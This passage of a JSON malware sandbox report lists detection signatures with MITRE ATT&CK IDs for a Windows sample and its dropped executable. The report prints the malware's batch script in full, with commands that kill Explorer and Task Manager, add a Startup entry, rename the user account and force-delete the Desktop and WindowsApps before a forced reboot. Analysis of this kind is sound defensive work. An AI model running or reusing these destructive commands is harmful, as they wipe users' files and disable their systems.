Technology","mitre_attack_id":"T1010","relevance":3,"id":"stream-125","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the specified system metric or system configuration setting","description":"GetSystemMetrics@USER32.DLL at 25657-335-00409A2B","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":5,"id":"stream-122","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"level":"suspicious","category":"Environment Awareness","name":"Executes WMI queries known to be used for VM detection","description":"\"taskkill.exe\" issued a query \"SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = \"explorer.exe\")\"\n \"taskkill.exe\" issued a query \"SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = \"taskmgr.exe\")\"","origin":"API Call","mitre_attack_id":"T1047","relevance":10,"id":"api-57","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"DDoSAttackServer_IP_URL.exe\" reads file \"C:\\Users\\desktop.ini\"\n \"DDoSAttackServer_IP_URL.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"DDoSAttackServer_IP_URL.exe\" reads file \"C:\\Users\\%OSUSER%\\Documents\\desktop.ini\"\n \"DDoSAttackServer_IP_URL.exe\" reads file \"C:\\Users\\%OSUSER%\\Music\\desktop.ini\"\n \"DDoSAttackServer_IP_URL.exe\" reads file \"C:\\Users\\%OSUSER%\\Pictures\\desktop.ini\"\n \"DDoSAttackServer_IP_URL.exe\" reads file \"C:\\Users\\%OSUSER%\\Downloads\\desktop.ini\"\n \"DDoSAttackServer_IP_URL.exe\" reads file \"C:\\Users\\%OSUSER%\\Searches\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"rniw.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\rniw.exe]- [targetUID: 00000000-00000944]\n \"rniw.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- [targetUID: 00000000-00000944]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"\"DDoSAttackServer_IP_URL.exe\" wrote 12800 bytes starting with PE header signature to file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\rniw.exe\": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"0.0.0.0\"\n \"4.0.0.0\"\n \"14.0.0.0\"\n Potential IP \"4.0.0.0\" found in string \"on=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\" />\", Potential IP \"4.0.0.0\" found in string \"rsion=4.0.0.0\n Culture=neutral\n PublicKeyToken=b03f5f7f11d50a3a\", Potential IP \"4.0.0.0\" found in string \"rsion=4.0.0.0\n Culture=neutral\n PublicKeyToken=b03f5f7f11d50a3a\" />\"\n \"2.5.29.10\"\n \"2.5.29.19\"\n \"2.5.29.14\"\n \"2.5.29.15\"\n \"2.5.29.37\"\n \"192.168.241.155\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - CRC-32 algorithm","description":"YARA signature for CRC-32 algorithm matched on process \"00000000-00000944\"\n YARA signature for CRC-32 algorithm matched on file \"rniw.exe\"\n YARA signature for CRC-32 algorithm matched on file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":3,"id":"yara-111","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Changes the desktop background picture","description":"\"DDoSAttackServer_IP_URL.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\CONTROL PANEL\\DESKTOP\"; Key: \"WALLPAPER\"; Value: \"0000\")","origin":"Registry Access","mitre_attack_id":"T1491","relevance":10,"id":"registry-22","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"Found string \"%WINDIR%\\SysWOW64\\wbem\\WMIC.exe\" (Indicator: \"wmic.exe\"; in Source: \"00000000-00005988-00000BC0-97370174\")\n Found string \"%WINDIR%\\System32\\Wbem\\WMIC.exe\" (Indicator: \"wmic.exe\"; in Source: \"00000000-00005988-00000C41-68956318536\")\n Found string \"WMIC.exe\" (Indicator: \"wmic.exe\"; in Source: \"00000000-00006612-00000BC0-97546554\")\n Found string \"WmiPrvSE.exe\" (Indicator: \"wmiprvse.exe\"; in Source: \"00000000-00000944.00000001.72452.03AC0000.00000004.mdmp, 00000000-00000944.00000002.74369.03AC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"suspicious","category":"Remote Access Related","name":"Reads terminal service related keys (often RDP related)","description":"\"DDoSAttackServer_IP_URL.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"GLASSSESSIONID\")","origin":"Registry Access","mitre_attack_id":"T1021.001","relevance":10,"id":"registry-61","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"DDoSAttackServer_IP_URL.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetNativeSystemInfo\n GetVersionExA\n GetModuleFileNameA\n LoadLibraryA\n CreateDirectoryA\n DeleteFileA\n GetCommandLineA\n GetProcAddress\n GetTempPathA\n GetModuleHandleA\n WriteFile\n GetTempFileNameA\n GetSystemDirectoryA\n TerminateProcess\n Sleep\n CreateFileA\n FindResourceA\n GetFileSize\n ShellExecuteExA\n GetWindowThreadProcessId","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$48","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"PE file contains executable resources","description":"rniw.exe has PE file in resource with name: \"RT_RCDATA\" and filetype:PE32 executable (GUI) Intel 80386 Mono/.Net assembly\n for MS Windows","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-97","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Terminates other processes using tskill/taskkill","description":"Process \"taskkill.exe\" with commandline \"taskkill /f /im explorer.exe\" (UID: 00000000-00002624)\n Process \"taskkill.exe\" with commandline \"taskkill /f /im taskmgr.exe\" (UID: 00000000-00003940)","origin":"Monitored Target","mitre_attack_id":"T1489","relevance":9,"id":"target-9","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"malicious","category":"Environment Awareness","name":"Uses WMIC to find system user account","description":"Process \"WMIC.exe\" with commandline \"wmic useraccount where name='%OSUSER%' set FullName='UR NEXT'\" (UID: 00000000-00006612)\n Process \"WMIC.exe\" with commandline \"wmic useraccount where name='%OSUSER%' rename 'UR NEXT'\" (UID: 00000000-00007096)","origin":"Monitored Target","mitre_attack_id":"T1087.001","relevance":7,"id":"target-149","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"57/70 Antivirus vendors marked dropped file \"rniw.exe\" as malicious (classified as \"Trojan.Generic\" with 81% detection rate)","origin":"Binary File","mitre_attack_id":"T1204.002","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"malicious","category":"Installation/Persistence","name":"Drops a batch file that contains a force-delete command (typical for malware init code)","description":"\"@echo offtaskkill /f /im explorer.exetaskkill /f /im taskmgr.execopy %temp%\\rniw.exe \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\rniw.exe\"wmic useraccount where name='%username%' set FullName='UR NEXT'wmic useraccount where name='%username%' rename 'UR NEXT'SET /a cr=0del /f /s /q %userprofile%\\Desktop\\*for /d %%p in (%userprofile%\\Desktop\\*) Do rd /Q /S \"%%p\":lcopy %temp%\\text.txt \"%userprofile%\\Desktop\\UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N%cr%XT.txt\"SET /a cr=%cr%+1if %cr%==28 copy %temp%\\one.rtf %userprofile%\\Desktop\\OPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENME.rtfif not %cr%==400 goto ldel /f /s /q \"C:\\Program Files\\WindowsApps\\\"shutdown /f /r /t 0\"\n \"del /f /s /q %userprofile%\\Desktop\\*\"\n \"del /f /s /q \"C:\\Program Files\\WindowsApps\\\"\"","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":7,"id":"string-9","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"cmd.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\SysWOW64\\taskkill.exe\" (Handle: 400)\n \"cmd.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\SysWOW64\\wbem\\WMIC.exe\" (Handle: 400)\n \"cmd.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\SysWOW64\\wbem\\WMIC.exe\" (Handle: 392)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"malicious","category":"Ransomware/Banking","name":"Disables Windows Task Manager (taskmgr)","description":"\"DDoSAttackServer_IP_URL.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\POLICIES\\SYSTEM\"; Key: \"DISABLETASKMGR\"; Value: \"31000000\")","origin":"Registry Access","mitre_attack_id":"T1562.001","relevance":9,"id":"registry-3","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"malicious","category":"System Security","name":"Terminates system processes","description":"Process \"taskkill.exe\" with commandline \"taskkill /f /im taskmgr.exe\" (UID: 00000000-00003940)","origin":"Monitored Target","mitre_attack_id":"T1489","relevance":10,"id":"target-39","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"Spawned process \"DDoSAttackServer_IP_URL.exe\" (UID: 00000000-00000944)\n Spawned process \"cmd.exe\" with commandline \"%WINDIR%\\\\system32\\\\cmd.exe /c \"\"%TEMP%\\\\windl.bat\"\"\" (UID: 00000000-00005988)\n Spawned process \"taskkill.exe\" with commandline \"taskkill /f /im explorer.exe\" (UID: 00000000-00002624)\n Spawned process \"taskkill.exe\" with commandline \"taskkill /f /im taskmgr.exe\" (UID: 00000000-00003940)\n Spawned process \"WMIC.exe\" with commandline \"wmic useraccount where name='%OSUSER%' set FullName='UR NEXT'\" (UID: 00000000-00006612)\n Spawned process \"WMIC.exe\" with commandline \"wmic useraccount where name='%OSUSER%' rename 'UR NEXT'\" (UID: 00000000-00007096)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00000860.00000001.67797.00961000.00000020.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00002644.00000001.68270.00A81000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00000860.00000001.67797.00961000.00000020.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00002644.00000001.68270.00A81000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00002644.00000000.68145.734B1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Tries to map intranet network resources to internet zone","description":"\"000.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")","origin":"Registry Access","mitre_attack_id":"T1562.001","relevance":1,"id":"registry-179","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"000.exe\" called \"OpenMutexW\" with parameter \"Local\\MSCTF.Asm.MutexDefault1\" - (UID: 00000000-00000652)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"000.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00000652)\n \"000.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00000652)\n \"000.exe\" called \"LookupAccountSidW\" with param Name hNON229 (UID: 00000000-00000652)\n \"taskkill.exe\" called \"LookupAccountSidW\" with param Name hNON229 (UID: 00000000-00001880)\n \"taskkill.exe\" called \"LookupAccountSidW\" with param Name hNON229 (UID: 00000000-00001924)\n \"WMIC.exe\" called \"LookupAccountSidW\" with param Name hNON229 (UID: 00000000-00000860)\n \"WMIC.exe\" called \"LookupAccountSidW\" with param Name hNON229 (UID: 00000000-00002644)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"215070482272,2440,3144,,IsWow64Process,kernel32.dll,\"252:29:13.471\",RX=0,PX=0\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00002644.00000000.68145.00C40000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"$49","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00000860.00000001.67797.00961000.00000020.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00000860.00000001.67797.00961000.00000020.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00002644.00000000.68145.734B1000.00000020.mdmp, 00000000-00002644.00000001.68270.00A81000.00000020.mdmp\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00002644.00000001.68270.00A81000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00000860.00000001.67797.00961000.00000020.mdmp\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00002644.00000001.68270.00A81000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00000860.00000001.67797.00961000.00000020.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00002644.00000000.68145.734B1000.00000020.mdmp, 00000000-00002644.00000001.68270.00A81000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00000860.00000001.67797.00961000.00000020.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00000860.00000001.67797.00961000.00000020.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00002644.00000000.68145.734B1000.00000020.mdmp, 00000000-00002644.00000001.68270.00A81000.00000020.mdmp\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00002644.00000001.68270.00A81000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00000860.00000001.67797.00961000.00000020.mdmp\")\n Found reference to API \"GetUserPreferredUILanguages\" (Indicator: \"GetUserPreferredUILanguages\"; Source: \"00000000-00000860.00000001.67797.00961000.00000020.mdmp\")\n Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00002644.00000001.68270.00A81000.00000020.mdmp\")\n Found reference to API \"GetUserPreferredUILanguages\" (Indicator: \"GetUserPreferredUILanguages\"; Source: \"00000000-00002644.00000001.68270.00A81000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"000.exe\" called \"CreateDirectoryW\" with parameter C:\\Users\\%OSUSER% (UID: 00000000-00000652)\n \"000.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData\\Roaming (UID: 00000000-00000652)\n \"000.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData\\Local (UID: 00000000-00000652)\n \"000.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Microsoft\\Windows\\Caches (UID: 00000000-00000652)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Contains ability to create/load registry keys (API string)","description":"Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00002644.00000000.68145.734B1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00000860.00000001.67797.00961000.00000020.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00002644.00000001.68270.00A81000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00000860.00000001.67797.00961000.00000020.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00002644.00000000.68145.734B1000.00000020.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00002644.00000001.68270.00A81000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"$4a","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"000.exe\" searching for class \"WMPlayerApp\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Tries to open documents files","description":"\"cmd.exe\" opens a file C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\one.rtf (UID: 00000000-00000352)\n \"cmd.exe\" opens a file \\Device\\HarddiskVolume2\\Users\\%OSUSER%\\Desktop\\OPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENME.RTF (UID: 00000000-00000352)\n \"cmd.exe\" opens a file C:\\Users\\%OSUSER%\\Desktop\\OPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENME.rtf (UID: 00000000-00000352)","origin":"API Call","mitre_attack_id":"T1005","relevance":2,"id":"api-248","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Installation/Persistence","name":"Calls an API typically used to set the date and time of the file","description":"\"cmd.exe\" called \"SetFileTime\" (UID: 00000000-00000352)","origin":"API Call","mitre_attack_id":"T1070.006","relevance":2,"id":"api-205","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"000.exe\" connecting to \"\\ThemeApiPort\"\n \"WMIC.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","mitre_attack_id":"T1559","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates new processes","description":"\"cmd.exe\" is creating a new process (Name: \"C:\\Windows\\SysWOW64\\taskkill.exe\")\n \"cmd.exe\" is creating a new process (Name: \"C:\\Windows\\SysWOW64\\Wbem\\WMIC.exe\")\n \"cmd.exe\" is creating a new process (Name: \"C:\\Windows\\SysWOW64\\shutdown.exe\")","origin":"API Call","mitre_attack_id":"T1106","relevance":8,"id":"api-2","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes a file to the startup folder","description":"\"cmd.exe\" wrote to file \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\rniw.exe\"\n \"cmd.exe\" wrote 12800 bytes to file \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\rniw.exe\": 4100ff0247657457696e646f77734469726563746f7279410000490247657453797374656d4469726563746f72794100ff024865617044657374726f790005014578697450726f6365737300ff0147657445786974436f646550726f63657373000007024765744e617469766553797374656d496e666f00370146696e645265 ...","origin":"API Call","mitre_attack_id":"T1547.001","relevance":10,"id":"api-90","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to register an interface (RPC)","description":"\"000.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00000652)\n \"taskkill.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00001880)\n \"taskkill.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00001924)\n \"WMIC.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00000860)\n \"WMIC.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00002644)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-219","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"\"000.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"167839678\"\n \"cx\": \"1\"\n \"cy\": \"1\"}\n \"000.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"218171317\"\n \"cx\": \"1\"\n \"cy\": \"1\"}\n \"000.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"2550204929\"\n \"cx\": \"1\"\n \"cy\": \"1\"}\n \"000.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"2583759361\"\n \"cx\": \"1\"\n \"cy\": \"1\"}\n \"000.exe\" called 